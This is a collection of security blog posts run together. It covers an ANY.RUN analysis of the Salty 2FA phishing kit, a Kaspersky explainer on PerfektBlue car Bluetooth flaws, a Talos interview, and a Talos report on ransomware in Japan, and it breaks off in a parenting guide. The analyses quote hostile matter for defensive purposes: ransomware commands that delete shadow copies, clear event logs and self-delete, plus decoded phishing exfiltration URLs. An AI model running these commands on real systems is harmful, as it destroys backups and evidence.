Salty 2FA: Undetected PhaaS from Storm-1575 Hitting US and EU Industries 

Today, phishing accounts for the majority of all cyberattacks. The availability of low-cost, easy-to-use Phishing-as-a-Service (PhaaS) platforms like Tycoon2FA, EvilProxy, and Sneaky2FA only makes the problem worse. 

These services are actively maintained by their operators; new evasion techniques are regularly added, and the multi-layered infrastructure behind the phishing kits continues to evolve and expand. 

But beyond these established players in the PhaaS market, the ANY.RUN team sometimes comes across phishing campaigns that use tools unlike anything we’ve seen before. 

One such example is a framework we’ve dubbed Salty 2FA, whose execution chain and infrastructure have not previously been documented.

Like other PhaaS platforms, Salty 2FA is mainly delivered via email and focuses on stealing Microsoft 365 credentials. It unfolds in multiple stages and includes several mechanisms designed to hinder detection and analysis. 

Let’s dive deeper into how Salty 2FA works. 

Key Takeaways 

  • Salty 2FA is a newly discovered PhaaS framework, with overlaps to Storm-1575/1747 but distinct enough to stand apart. 
  • It uses a unique domain pattern (.com subdomains paired with .ru domains) and unfolds in a multi-stage execution chain designed to resist detection. 
  • The kit can bypass multiple 2FA methods (push, SMS, voice), giving attackers access beyond stolen credentials. 
  • Victims span global industries including finance, telecom, energy, consulting, logistics, and education. 
  • Static IOCs are unreliable; detection requires spotting behavioral patterns that persist across samples. 
  • ANY.RUN’s interactive sandbox was essential in mapping its execution flow and exposing its infrastructure in real time. 

Discovery of Salty 2FA 

During phishing campaign hunting, several ANY.RUN sandbox sessions were identified that had not yet been flagged as malicious. At first glance, they showed familiar traits: Cloudflare Turnstile, a fake Microsoft login page, and unknown domains. 

Check analysis sessions:  

Analysis session 1 

Analysis session 2 

Analysis of the phishkit inside ANY.RUN’s Interactive Sandbox

What stood out in these cases was the domain infrastructure. In the IOCs section of the sessions, a pattern became clear: the consistent use of compound domains in “.com” zones (e.g., .com.de, .it.com) in combination with domains registered under the .ru TLD. The phishing pages themselves also followed a recurring format, embedding “.com” subdomains within a pattern of <sub_domain>.<main_domain>.??.com. 

Suspicious domain combination 

The URI paths hosting the phishing content also appeared unusual. While they initially looked randomly generated and unrelated, further inspection suggested they might share commonalities worth examining. 

With this hypothesis in mind, a query was run in Threat Intelligence Lookup

domainName:”*.*.??.com$” AND domainName:”.ru$” 

The results confirmed that this domain pairing is indeed a recurring element tied to phishing activity. Moreover, it highlighted that this indicator had not yet been fully integrated into the detection system, leaving a potential coverage gap. 

Hypothesis validation in ANY.RUN’s TI Lookup 

The initial results left some uncertainty. In addition to the incomplete detection coverage at the time of analysis, the sample included tasks with potential true negative verdicts, as well as tasks tagged under different categories. These ranged from generic phishing labels to Tycoon and EvilProxy; campaigns that had not previously demonstrated the observed behavior (the .??.com + .ru domain combination). 

To reduce ambiguity, the query was refined with contextual filters, focusing on specific resources such as requests to Cloudflare. 

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The updated TI query produced much clearer results, confirming that this activity is almost certainly tied to a distinct phishing operation. However, it cannot yet be definitively attributed to any of the known actors. 

Refined TI query: 

domainName:”*.*.??.com$” AND domainName:”a.nel.cloudflare.com” AND domainName:”challenges.cloudflare.com” AND NOT domainName:”cdnjs.cloudflare.com” AND domainName:”.ru$” 

Refined TI Lookup query 

After a quick review of the external indicators, the next step was to examine the client-side code used in this phishing campaign to better understand its functionality and capabilities. 

Technical Deep Dive: Execution Chain 

To capture decrypted traffic and analyze the payload step by step, a similar session was rerun with the MITM proxy enabled. 

Check analysis session with MITM enabled 

Analysis of a phishing page inside ANY.RUN’s Interactive Sandbox

When the page loads from parochially[.]frankfurtwebs[.]com[.]de, a small “trampoline” JavaScript executes. It initializes the Cloudflare Turnstile widget, runs the associated checks, and returns a cf_response token. After that validation, the server delivers the HTML that initiates the main execution chain

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Stage 1: Obfuscated Entry Script 

The source code contains comment inserts with inspiring quotes. These do not affect functionality but act as filler “noise,” making static analysis more challenging. 

A small JavaScript snippet contains an obfuscated function designed to decode the address of the next stage, retrieve it, decode it in the same way, and then write the result into the DOM of the current page. 

Stage 1: obfuscated code 

Decoding the value lPwICAQHzsPDAfUG//kIBAD19/nGyPn9wgYJw8M= reveals the URL of the next payload: 
hxxps[://]marketplace24ei[.]ru// 

Stage 2: Encrypted Payload and Fake Login Page 

After loading and decoding the payload, the result is a large HTML page—again padded with non-functional “noise” just like the previous stage—with an obfuscated JavaScript snippet at the end. 

Fragment of Stage 2 payload 

A quick search through the HTML for <input> tags revealed several matches. One stood out: 

<input hidden id=”lessen” value=”aHR0cHM6Ly9tYXJrZXRwbGFjZTI0ZWkucnUvNzkwNjI4LnBocA”> 

Decoding the Base64 value exposes another URL that becomes relevant later: 

hxxps[://]marketplace24ei[.]ru/790628[.]php 

Comparing the HTML source to the session’s runtime behavior also shows that the attacker obfuscates the page text itself. For example, the string: 

“Because you’re accessing sensitive info, you need to verify your password.” 

appears obfuscated in the code rather than in plain text. 

Source code of the fake Microsoft login page 
What the victim sees in the browser 

Stage 3: Client-Side Logic and Anti-Analysis Mechanisms 

All of the logic for switching between page states, as well as the collection and exfiltration of user input, is handled by the previously mentioned JavaScript code. 

After deobfuscating this script, we can walk through its key technical details and capabilities. 

To begin with, nearly all of the front-end logic relies on calls to page elements through jQuery. The identifiers for these elements are generated dynamically, making analysis more difficult. In addition, the element IDs themselves are encoded using a combination of Base64 and XOR with a fixed generated value, which must be decoded through a dedicated routine. 

Procedure for decoding page element IDs 
Managing web page elements with jQuery (decoded values) 

The phishing payload also includes several basic defense mechanisms commonly seen in such campaigns: 

  • Blocking keyboard shortcuts that open debugging tools (e.g., DevTools). 
  • Measuring execution time when a debugger is triggered and halting further activity if a delay is detected, which may indicate the code is running in a controlled or lab environment. 

For exfiltration of the victim’s input, the data is “encrypted” using the same Base64 + XOR technique. This time, however, the key parameter is derived from the victim’s session identifier. 

Stage 4: Data Exfiltration and Server Interaction 

The stolen data is sent to servers using .ru domains from the observed cluster, with endpoints following the format: 

/<5-6_digits>.php 

The data itself is encoded and placed in the request= parameter of the POST request, while the decoding key (along with the victim’s session ID) is stored in the session= parameter. 

Encoding procedure for exfiltrated data using the session key 

Using a POST request captured in the session as an example, the data can be examined by applying the same encoding routine in reverse: 

POST request containing stolen data 

Utilize the following CyberChef recipe to decode the data: https://gchq.github.io/CyberChef/#recipe=URL_Decode(true)From_Base64(%27A-Za-z0-9%2B/%3D%27,true,false)XOR(%7B%27option%27:%27UTF8%27,%27string%27:%27b17be01b20c089141058415728fd66ff%27%7D,%27Standard%27,false)&input=R1JOWUVrY0tFeFpBUlFZU0ZCdFVXUk1LRjFWZFdsQjNVMW9GU2xWWkMwUWY&oeol=VT

Example of decrypted stolen data 

Stage 5: Multi-State 2FA Handling 

In response to the POST request, the server returns a JSON object. The value of the response field depends on the current state of the phishing page; that is, on which opcode was specified when the data was submitted. 

Analysis of the code revealed several possible states of the phishing page, along with the data structures transmitted to the attacker as the page transitions between these states. 

The identified states are as follows: 

State #  State Name  Function  Trigger  Data Sent (decoded)  Data Received (decoded) 
Initial state  Prompts victim to enter email  When the phishing login page first loads  n/a  n/a 
Switch to password page state  Prompts for password  When the victim enters a valid email  {“op”:”true”,”em”:}  {“status”:, “banner”:, “background”:, “boilerPlateText”:, “token”:, “ho”:} 
Switch to “Stay signed in” state  Prompts “Stay signed in?”  When the victim enters a valid password  {“op”:”bk”}  n/a 
Switch to “Incorrect password” state  Prompts “Account locked / incorrect password”  When the victim enters an empty or invalid password  n/a  n/a 
Switch to “2FA” state  Initiates 2FA handling  When the victim’s account has 2FA enabled  {“op”:”ne”,”em”:,”px”:,”sec”:}  {“status”:, “sec”:, “method”:, “token”:} 
Switch to “Process 2FA method” state  Processes the chosen 2FA method  After state #5  {“m”:,”token”:,”op”:”ver”,”sec”:}  {“status”:, “type”:, “otp”:, “token”:} 
6.1  Phone App Notification 2FA  Handles phone app push notifications  After state #6  {“op”:”Vx”,”token”:,”service”:”a”,”sec”:}  {“status”:} 
6.2  Phone App OTP 2FA  Handles OTP from phone app  After state #6  {“op”:”Vx”,”token”:,”service”:”c”,”otc”:,”sec”:}  {“status”:, “newToken”:} 
6.3  OneWaySMS 2FA  Handles one-way SMS OTP  After state #6  {“op”:”Vx”,”token”:,”service”:”b”,”otc”:,”sec”:}  {“status”:, “newTokenn”:} 
6.4  TwoWayVoiceMobile 2FA  Handles mobile voice call 2FA  After state #6  {“op”:”Vx”,”token”:,”service”:”d”,”sec”:}  {“status”:, “calltoken”:} 
6.5  TwoWayVoiceOffice 2FA  Handles office phone voice call 2FA  After state #6  {“op”:”Vx”,”token”:,”service”:”e”,”sec”:}  {“status”:, “newtokenoff”:} 
6.6  Companion Apps Notification 2FA  Handles companion app push notifications  After state #6  {“op”:”Vx”,”token”:,”service”:”o”,”sec”:}  {“status”:} 
Code snippet handling the 2FA authentication method 

Capabilities and Evasion Techniques 

Based on the complexity of its infrastructure, such as the use of multiple domains across specific TLDs, including a dedicated domain for data exfiltration, the presence of evasion techniques, and its extensive functionality (credential validation, handling multiple 2FA methods, and intercepting OTP codes), this campaign appears to represent a new PhaaS framework. Its behavioral patterns differ from those of the major players in the phishing ecosystem, such as Tycoon, EvilProxy, and others. 

Is it Storm-1575 or Storm-1747? 

At the time of initial research, no clear evidence was found to indicate who operates or develops this phishing kit, how the attackers obtain access (e.g., whether they purchase software), or any distinctive technical traits that would link it to other known kits. 

After updating detection methods and re-hunting indicators in the ANY.RUN Sandbox and TI, some overlap in IOCs (specifically domains) emerged with activity tracked as Storm-1575 and Storm-1747

Storm-1575 is associated with the PhaaS platform Dadsec and is presumed to be its developer. However, Dadsec activity has not been observed recently, and attribution boundaries for Storm-1575 remain unclear. 

Storm-1747, on the other hand, is well known for Tycoon 2FA—a state-of-the-art phishing kit that has ranked among the most active in terms of both attacks and related samples for several years. That said, Tycoon relies on a different infrastructure (mainly es-ru-es domain chains) and implements distinct client-side code, including its obfuscation and exfiltration techniques. 

To track and assess this phishing activity, the framework was designated Salty 2FA, a name inspired by its “salted” payloads, which consistently helped distinguish its code from other kits during analysis. More importantly, a unique threat name was required, one easier to work with than YetAnotherPhishkitActivity2FA, and “Salty 2FA” struck the right balance of clarity and memorability. 

Check potential overlaps between Salty 2FA and Storm-1575/1747 

Salty 2FA Targets and Activity Timeline 

Analysis of phishing emails, their content themes, and pre-filled victim email addresses (automatically inserted via the #email anchor in URLs) made it possible to identify the targets of this campaign, including affected countries and industries. 

Observed targets include: 

Country / Region of the Organization  Industry 
USA / Worldwide (India)  Metallurgy 
USA / LATAM  Financial 
Greece  Telecom 
Germany / Worldwide  Chemicals / Polymers 
Spain  Energy (solar panels) 
Spain  Energy 
USA  Real estate development 
Switzerland / Worldwide  Logistics 
USA  Healthcare 
USA  Financial 
USA  IT consulting / Staffing 
USA  Environmental services 
Canada / France  IT 
USA  Government 
UK / Worldwide  Consulting / Financial 
Italy  Industrial (packaging, automation) 
UK  Construction / Infrastructure 
USA / Worldwide  Logistics 
USA / Worldwide  Logistics 
USA  Oil and gas 
USA  Financial / Insurance 
UK  Real estate 
USA  Chemicals / Packaging 
USA  Consulting / Financial 
USA  Data management / Storage 
USA  Automotive accessories 
USA  Construction / Contractors 
USA  Education 
USA  Financial 

Common phishing email lures included: 

  • “Voice message was left…” 
  • “Access full document…” 
  • “Payroll amendment…” 
  • “Request for Proposal…” 
  • “Bid invitation…” 
  • “Billing Statement…” 

Additional IOCs extracted from SPF records in email headers: 

  • 153[.]127[.]234[.]4 
  • 51[.]89[.]33[.]171 
  • 191[.]96[.]207[.]129 
  • 153[.]127[.]234[.]5 
  • izumi[@]yurikamome[.]com 

Activity timeline: 

Based on data from the ANY.RUN Sandbox and TI, activity resembling Salty 2FA began gaining momentum in June 2025, although it is possible that early or “raw” variants of the kit, or samples similar to it, were already being deployed as early as March–April 2025

Confirmed activity attributed to Salty 2FA has been observed since late July 2025 and continues to this day, generating dozens of new public analysis sessions in the Sandbox every day. 

How to Spot Salty 2FA 

Basic indicators such as domain names (hashes are not applicable here due to constant obfuscation and code mutation) can be useful for threat hunting and expanding the threat landscape. In some cases, they may even lead to detections. However, for phishing kits like Salty 2FA, these indicators are generally unreliable for long-term or consistent detection. 

Threat detection specialists and engineers instead need to identify behavioral patterns that remain consistent across samples, even when those samples appear completely different at first glance. 

Any recurring clue, whether it is a particular chain of TLD zones in domain names, distinctive URL structures, unusual web page headers, or a characteristic set of resources loaded from legitimate CDNs, contributes to the behavioral profile of a PhaaS framework. These recurring traits allow analysts to track and detect it over time without relying on volatile details such as email hashes or specific phishing domains. 

Detect and Distinguish Similar Emerging Threats in Seconds 

With solutions like ANY.RUN‘s Interactive Sandbox, analysts can observe phishing kits in real time, uncover hidden behaviors, and distinguish between similar frameworks. By focusing on behavioral patterns rather than fragile indicators, it becomes possible to track evolving PhaaS activity more reliably, while also enjoying a smoother, less resource-heavy investigation process. 

  • Real-time visibility into phishing execution chains and payload delivery. 
  • IOC enrichment with domains, infrastructure elements, and threat behavior insights linked to wider campaigns. 
  • Faster investigations with reduced manual workload and clearer insights. 
  • Seamless collaboration between analysts through shared interactive sessions. 

Conclusion 

The ecosystem of Phishing-as-a-Service (PhaaS) platforms is constantly evolving. Existing kits adapt their attack methods, while new players emerge, some entirely brand-new, others reimagined versions of tools once used by well-known threat actors. 

The analyzed framework, Salty 2FA, shares certain traits with Storm-1575, the group behind the Dadsec platform. However, a deeper examination revealed too many unique characteristics to reliably attribute it to any of the known threats, such as Tycoon2FA, Sneaky2FA, Mamba2FA, Gabagool, or EvilProxy. 

With its ability to distribute phishing payloads at scale, maintain dynamic infrastructure, intercept and process most known 2FA authentication methods beyond simple credentials, and manage a complex communication model between phishing pages and C2 servers, Salty 2FA stands on par with the “major” kits in today’s phishing landscape. 

For SOC teams triaging phishing-related incidents, it is critical to quickly and accurately confirm the malicious nature of collected artifacts and correlate them with the threat actor likely to be targeting their organization. 

ANY.RUN’s Interactive Sandbox enables security professionals worldwide to detect and analyze threats like Salty 2FA by replicating victim interactions and tracking execution chains in real time, while leveraging behavior-based detection to expose previously unknown samples and indicators. 

Try It Yourself 

See how Salty 2FA and other emerging phishing kits unfold in real time. ANY.RUN’s Interactive Sandbox lets you safely detonate samples, follow execution chains, and uncover hidden IOCs in seconds. 

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Gathered IOCs 

Domains 

  • innovationsteams[.]com 
  • marketplace24ei[.]ru 
  • nexttradeitaly[.]it[.]com 
  • frankfurtwebs[.]com[.]de 

URLs

  • hxxps[://]telephony[.]nexttradeitaly[.]com/SSSuWBTmYwu/ 
  • hxxps[://]parochially[.]frankfurtwebs[.]com[.]de/ps6VzZb/ 
  • hxxps[://]marketplace24ei[.]ru// 
  • hxxps[://]marketplace24ei[.]ru/790628[.]php 

E-mail extracted IOCs

  • 153[.]127[.]234[.]4 
  • 51[.]89[.]33[.]171 
  • 191[.]96[.]207[.]129 
  • 153[.]127[.]234[.]5 
  • izumi [at] yurikamome[.]com 

Sandbox Sessions 

https://app.any.run/tasks/91e777dd-603b-47e4-ad8f-96e8bddf2cba

https://app.any.run/tasks/7d8e3a4d-5226-40b9-9e94-0f833c784abc

https://app.any.run/tasks/a601b5c4-c178-4a8e-b941-230636d11a1c

TI Lookup Search Queries 

https://intelligence.any.run/analysis/lookup#{%22query%22:%22domainName:%5C%22*.*.??.com$%5C%22%20AND%20domainName:%5C%22challenges.cloudflare.com%5C%22%20AND%20NOT%20domainName:%5C%22cdnjs.cloudflare.com%5C%22%20AND%20domainName:%5C%22code.jquery.com%5C%22%20AND%20domainName:%5C%22.ru$%5C%22%22,%22dateRange%22:180}

https://intelligence.any.run/analysis/lookup#{%22query%22:%22threatName:%5C%22salty2fa%5C%22%22,%22dateRange%22:180}

https://intelligence.any.run/analysis/lookup#{%22query%22:%22threatName:%5C%22salty2fa%5C%22%20AND%20threatName:%5C%22storm*%5C%22%22,%22dateRange%22:180}

The post Salty 2FA: Undetected PhaaS from Storm-1575 Hitting US and EU Industries  appeared first on ANY.RUN’s Cybersecurity Blog.

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Protecting your car against the PerfektBlue vulnerability in Bluetooth | Kaspersky official blog

Cars these days are effectively computers on wheels — making them targets for cybercriminals: theft, unauthorized activation of on-board equipment, remote braking and steering, and spying on drivers and passengers are all perfectly doable by the bad guys. But carrying out such attacks often requires either physical access to the vehicle or remote access to its telematics systems (that is, hijacking communications with the carmaker’s server over the cellular network). However, a recent study by PCA Cyber Security describes a new hacking method that targets the car’s infotainment system via Bluetooth. The four vulnerabilities in question — collectively named PerfektBlue — are unlikely to lead to widespread car thefts or hacks, but it’s still worth knowing about them and exercising caution.

Under the hood of PerfektBlue

If your car was made within the last 10 years, no doubt it lets you connect your smartphone via Bluetooth to make hands-free calls or listen to music. The infotainment system is a part of the head unit, and it uses a built-in Bluetooth chip and special software to work. The software of choice for many carmakers is OpenSynergy Blue SDK. According to its developers, Blue SDK is used in 350 million vehicles made by Ford, Mercedes-Benz, Skoda, Volkswagen, and others.

PCA Cyber Security discovered four vulnerabilities in Blue SDK (CVE-2024-45431, CVE-2024-45432, CVE-2024-45433, CVE-2024-45434) which, when used together, could allow an attacker to run malicious code in the system. To do so, they’d need to be connected to the car via Bluetooth, which means pairing a device. If successful, the attacker can send malicious commands to the car using the Audio/Video Remote Control Profile (AVCRP) for Bluetooth. This causes an error in the head unit’s operating system, giving the hacker the same Bluetooth permissions as the carmaker’s software. Armed with these permissions, the attacker can theoretically track the vehicle’s location, eavesdrop through the car’s built-in microphones, as well as steal data from the head unit, such as the victim’s address book. Depending on the digital architecture of the car, the CAN bus for communication between electronic control units (ECUs) may get compromised — allowing an intruder to take over essential functions such as braking.

Practical questions about PerfektBlue

How to spot and prevent this attack? This depends on how Bluetooth is implemented in your particular vehicle. In some rare cases, the in-car infotainment system may not require any driver/passenger confirmation at all — leaving Bluetooth open to third-party connections. If so, there’s no way to stop an attack (!). Most cars however require the driver to confirm a connection to a new device, so a driver will see an unexpected connection request. If the request is denied, the attack will fail. The car may even automatically deny connection if the driver has not explicitly enabled pairing mode in the settings. If that applies to your car, attackers will have a job on their hands.

How to determine if your car is vulnerable? Unfortunately, makers tend not to disclose information about vehicle components — let alone the software inside them. Therefore, the only reliable way is to contact a branded dealer or specialized car service where they can check the head unit and advise on whether new firmware is available that eliminates the vulnerabilities. The researchers themselves experimented (and successfully exploited the vulnerabilities) on the head units of a Volkswagen ID.4 (infotainment system: MEB ICAS3), a Mercedes-Benz (NTG6) and a Skoda Superb (MIB3).

How to protect your car and yourself? The best advice is to update the head unit firmware to a patched version. Although OpenSynergy released software updates back in September 2024, these must first be applied by the manufacturer of the head unit, and only then by the carmaker. The latter must also distribute the new firmware across its dealer network. Therefore, some vulnerable cars may still be lacking new firmware.

The second reliable method of protection is to disable in-car Bluetooth.

What’s the attack range? With standard Bluetooth hardware, the attack range is limited to 10 meters, but special amplifiers (range extenders) can extend this to 50–100 meters. If a vehicle is equipped with 4G cellular network technology, then after the first phase of the attack, which requires Bluetooth, threat actors can theoretically maintain control over the car via the cellular network.

Is it true the engine must be on for the attack to work? This limitation was reported by Volkswagen, but in practice almost all cars allow you to turn on the infotainment system together with Bluetooth while the ignition is off. Therefore, a running engine is not an attack precondition.

What should carmakers do to improve protection against such attacks? Car manufacturers should adopt the Secure by Design approach. Kaspersky, together with manufacturers of head units and automotive electronics, is creating a line of Cyber Immune solutions based on KasperskyOS that keep the system protected and running even if a vulnerable component is attacked. But given the long development and testing cycles in the automotive industry, it will be several more years before Cyber Immune cars hit the roads.

More case studies of car hacking through vulnerabilities in electronic systems:

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JJ Cummings: The art of controlling information

JJ Cummings: The art of controlling information

Welcome to the second episode of Humans of Talos, our ongoing video interview series that celebrates the people powering Cisco’s threat intelligence efforts. In each episode, we dive deep into the personal journeys, motivations and lessons learned from the team members who help keep the internet safe. This episode, let’s meet JJ Cummings, who leads our Threat Intelligence and Interdiction team, focusing on nation-state security and intelligence. Read (or watch) on for JJ’s story, his thoughts on burnout and motivation, and advice for anyone looking to join Talos.

Amy Ciminnisi: Hello and welcome to the second episode of Humans of Talos. I’m here with JJ Cummings today, who leads a team on our Threat Intelligence and Interdiction team, focused on nation state security and intelligence matters. What led you to your role at Talos?

JJ Cummings: Prior to Talos’ formal formation, or creation, I was a part of the Sourcefire acquisition, and I was a part of Sourcefire for many years. We helped with deep investigations and analysis and incident response and threat hunting. Then that moved into the Cisco world when Cisco acquired us. We determined that there was kind of the need for a Threat Intelligence team. There was an opportunity for me to come over to start to build out the capabilities and the path forward with Matt Olney, Ryan Pentney and several others. From there, the Threat Intelligence and Interdiction team grew to what it is today.

AC: What is something about your day to day role at Talos that people might be particularly surprised by or interested in?

JC: One of the challenges when we’re working with a lot of different partners is how we control the information. Some partners tell us, “Hey, we want feedback, but you can’t tell anybody else,” which is really difficult. We take that information and we try to identify our own ways to point to how we identified it so it doesn’t burn that partner. We have to find ways to highlight things in unattributable or alternatively attributable ways. But the good news is that I’ve got an amazing team behind me. They’re force multipliers and they are beasts when it comes to getting the job done.


Want to see more? Watch the full interview, and don’t forget to subscribe to our YouTube channel for future episodes of Humans of Talos!

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Ransomware incidents in Japan during the first half of 2025

  • In the first half of 2025, the number of ransomware attacks in Japan increased by approximately 1.4 times compared to the previous year.
  • Ransomware attackers continue to primarily target small and medium-sized enterprises in Japan. The most affected industry remains manufacturing, unchanged from last year.
  • The ransomware group causing the most damage in Japan is “Qilin.”
  • In late June, a new ransomware group called “Kawa4096” emerged and might have attacked two Japanese companies.

Victimized companies

Ransomware incidents in Japan during the first half of 2025

Figure 1 summarizes the ransomware incidents involving Japanese domestic companies, including overseas branches and subsidiaries, from January 1 to June 30, 2025. According to the Cisco Talos investigation, there were 68 ransomware cases affecting organizations in Japan during this period. Sources include Cisco telemetry, official statements from affected companies, news reports and data from ransomware leak sites. Compared to 48 cases during the same period last year, this represents an approximately 1.4-fold increase. The number of incidents per month ranged from a minimum of 4 to a maximum of 16, with an average of about 11 ransomware attacks per month.

Ransomware incidents in Japan during the first half of 2025
Figure 1. Ransomware incidents in Japan during the first half of 2025.

The industries affected remain largely unchanged from the same period last year, with the manufacturing sector experiencing the highest number of incidents at 18.2%, followed by the automotive sector with 5 cases (5.7%), and trading companies, construction and transportation each reporting 4 cases (4.6%).

Ransomware incidents in Japan during the first half of 2025
Figure 2. Number of victim organizations by industry.

Regarding the size of the affected organizations, those with capital of less than 100 million yen (or ¥) accounted for the largest share at 38%, followed by those with capital from ¥100 million – 1 billion at 31%. In total, organizations with capital under ¥1 billion made up 69% of all cases, indicating that attackers continue to primarily target small and medium-sized enterprises (see Figure 3).

Ransomware incidents in Japan during the first half of 2025
Figure 3. Classification of victim organizations by capital size.

Types of ransomware most frequently involved in incidents

LockBit and 8base, which were among the most frequently observed ransomware groups in Japan during the first half of FY2024, ceased their activities following takedown operations by law enforcement in February 2024 and February 2025 respectively, as publicly announced in press releases. As a result, neither group has been observed in 2025.

RansomHub and Hunters International, which ranked among the top ransomware groups last year, are confirmed to still be active in Japan. Notably, the ransomware group Qilin, which had not been reported to have caused any damage in Japan in FY2024, emerged as the most active group in the first half of FY2025, with eight confirmed victim organizations in the country. Qilin has been active since October 2022 and is one of the ransomware groups exerting significant influence both domestically and internationally. The findings from this investigation further suggest that Qilin’s activity is intensifying, making it one of the most critical groups to watch.

Following Qilin, three groups — Lynx, Nightspire, and RansomHub — accounted for three incidents each. Regarding RansomHub, attacks targeting Japan were also confirmed around the same time in 2024. Groups such as Akira, Cicada3301, Gunra, Kawa4096 and Space Bears were each responsible for two incidents. In particular, Kawa4096, which began operations in late June 2025, has targeted Japan from the outset, warranting special attention.

Other groups with one confirmed incident each include Black Suit, CLOP, Devman, Fog and Play, among others.

Ransomware incidents in Japan during the first half of 2025
Figure 4. Identified ransomware employed in attacks.

Spotlight: Kawa4096 ransomware group

Trustwave published a useful analysis report on Kawa4096 in July 2025.

The ransomware group first posted about a victim organization on its leak site, shown in Figure 5, on June 19, 2025. Subsequently, it disclosed information believed to pertain to attacks on two Japanese companies on June 26 and June 28.

Ransomware incidents in Japan during the first half of 2025
Figure 5. Kawa4096 leak site.

KaWaLocker ransomware deployed by Kawa4096

Config File

The ransomware used by this group, shown in Figure 6, utilizes the FindResourceW API to load a configuration file from the resource section, as illustrated in Figure 7. The configuration file defines items such as file extensions, directories and specific folders to exclude from encryption; processes and services to terminate; and commands to execute. In the example configuration file shown in the figure, the command to be executed via WMI is defined as <cmd_post value=”calc”>, which causes the calculator to launch. Since it only launches the calculator after encryption, it is likely being used to check whether the configuration has been correctly applied. Depending on the value set, arbitrary commands can be executed. In other configuration files, Talos has also confirmed cases where a forced reboot is triggered after encryption using the command shutdown /r /t 0.

Ransomware incidents in Japan during the first half of 2025
Figure 6. Loading RCDATA101 from the resource section.
Ransomware incidents in Japan during the first half of 2025
Figure 7. Part of the configuration file defined in RCDATA101.

Creating new file extensions and icons

The file extension added after encryption is also determined by a value loaded from the resource section, just like the configuration file. Specifically, the ransomware sets the extension using the data starting 8 bytes from the loaded value, and uses the following 9 bytes as the new extension.

Ransomware incidents in Japan during the first half of 2025
Figure 8. Loading RCDATA102 from the resource section.
Ransomware incidents in Japan during the first half of 2025
Figure 9. Part of RCDATA102.

Once the extension name for the encrypted files is determined, an icon file used after encryption is created at the following path using the CreateFileW API:


C:UsersPublicDocuments.C3680868C.ico

After that, a new key named “.C3680868C” is created under “HKEY_LOCAL_MACHINESoftwareClasses” in the registry, with a subkey DefaultIcon whose value is set to the path of the icon mentioned above.

Ransomware incidents in Japan during the first half of 2025
Figure 10. Registration of a custom file extension.
Ransomware incidents in Japan during the first half of 2025
Figure 11. Encrypted file.

Types of arguments

This ransomware checks for the presence of the “all” argument upon execution. (Figure 12)

Ransomware incidents in Japan during the first half of 2025
Figure 12. Argument check.

Below is a summary of the three arguments:

  • -all: Executes the ransomware’s processing using multithreading
  • -d: Encrypts only the specified directory
  • -dump: Uses the MiniDumpWriteDump API to create a .dmp file containing crash or runtime information in the execution folder

When the -all option is not specified, the ransomware re-executes itself as “%ws” -all using the CreateProcessW API. Additionally, only when -all is not specified, the ransomware creates a Mutex named “SAY_HI_2025” using the CreateMutexA API to check whether it is already running.

Ransomware incidents in Japan during the first half of 2025
Figure 13. Creation of Mutex value.

Ransom note

A ransom note named “!!Restore-My-file-Kavva.txt,” as shown in Figure 13, is created in C: and in each encrypted folder. The ransom note primarily states that the system has been encrypted and that important data has been stolen — characteristics typical of double-extortion ransomware. It warns that if communication is refused, the data will be published. It also specifies the types of data involved, such as employees’ personal information and customer information, making it clear that the attackers are urging the victim to initiate contact with them.

Ransomware incidents in Japan during the first half of 2025
Figure 14. KaWaLocker ransom note.

Data deletion

After file encryption, the following commands are executed to prevent recovery by deleting backup-related data and traces, such as event logs.

vssadmin.exe Delete Shadows /all /quiet
vssadmin.exe delete shadows /all /quiet
wmic shadowcopy delete /nointeractive
cmd.exe /c wevtutil cl security | wevtutil cl system | wevtutil cl application

Depending on the configuration settings, the program may also delete itself.

cmd.exe /C ping 127.0.0.1 -n 2 > nul && del /F

Encryption

Regarding the encryption method, the chunk size is determined based on the size of the target file, and the number of chunks is decided accordingly. For files smaller than or equal to 10MB, the data is not split for encryption. However, for files larger than 10MB, the file is divided based on varying chunk sizes according to file size, as shown in Figure 15. The base chunk size is defined by the value at offset (a1 + 488), which is set to 0x10000 (64KB). Figure 16 shows the chunk sizes corresponding to different file sizes. This implementation improves encryption performance by accelerating the processing of files.

Ransomware incidents in Japan during the first half of 2025
Figure 15. Code section that determines the number of chunks based on the file size.
Ransomware incidents in Japan during the first half of 2025
Figure 16. File size and chunk size correspondence table.

Once the chunk count is determined, the target data is encrypted using the Salsa20 stream cipher.

Ransomware incidents in Japan during the first half of 2025
Figure 17. Encryption method.

KaWaLocker 2.0

We also observed KaWaLocker 2.0 in late July 2025. This indicates that the attackers may become even more active in deploying this malware in the future. One of the main changes is that the ransom note differs from the initial version of KaWaLocker. As shown in Figure 17, the ransom note for KaWaLocker 2.0 includes a newly added email contact.

Ransomware incidents in Japan during the first half of 2025
Figure 18. KaWaLocker2.0 ransom note.

Another change is that when examining the configuration of KaWaLocker 2.0, we found that a flag called “hide_name” had been added.

Ransomware incidents in Japan during the first half of 2025
Figure 19. KaWaLocker config (left), KaWaLocker 2.0 config (right).

When this flag is enabled, the file name is changed and encrypted based on the absolute file path using a hash function.

Ransomware incidents in Japan during the first half of 2025
Figure 20. Encrypted file when the hide_name flag is enabled.

Coverage

Ways our customers can detect and block this threat are listed below.

Ransomware incidents in Japan during the first half of 2025

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Cisco Secure Access is a modern cloud-delivered Security Service Edge (SSE) built on Zero Trust principles.  Secure Access provides seamless transparent and secure access to the internet, cloud services or private application no matter where your users work.  Please contact your Cisco account representative or authorized partner if you are interested in a free trial of Cisco Secure Access.

ClamAV detections are also available for this threat:

  • Win.Ransomware.KaWaLocker-10056371-0
  • Indicators of compromise (IOCs)

    The IOCs can also be found in our GitHub repository here.

    Cisco Talos Blog – ​Read More

    A parent’s guide to keeping a child blogger safe | Kaspersky official blog

    Almost one in three members of Generation Alpha dreams of becoming a blogger. Today’s influencers inspire kids to create content online even before they reach their teens. Therefore, it’s critical for adults to get involved — especially when it comes to very young bloggers. Exploring digital platforms together with your kids not only helps keep them safe, but also lays a solid foundation for their confident and comfortable growth as digital natives.

    To help parents, Kaspersky experts have created the Digital Schoolbag: A Parent’s Guide for the School Year (available as a PDF). It’s a compilation of essential tips to help keep kids safe online. And today, we dive into how parents can help their aspiring young bloggers.

    1. Be curious — not critical

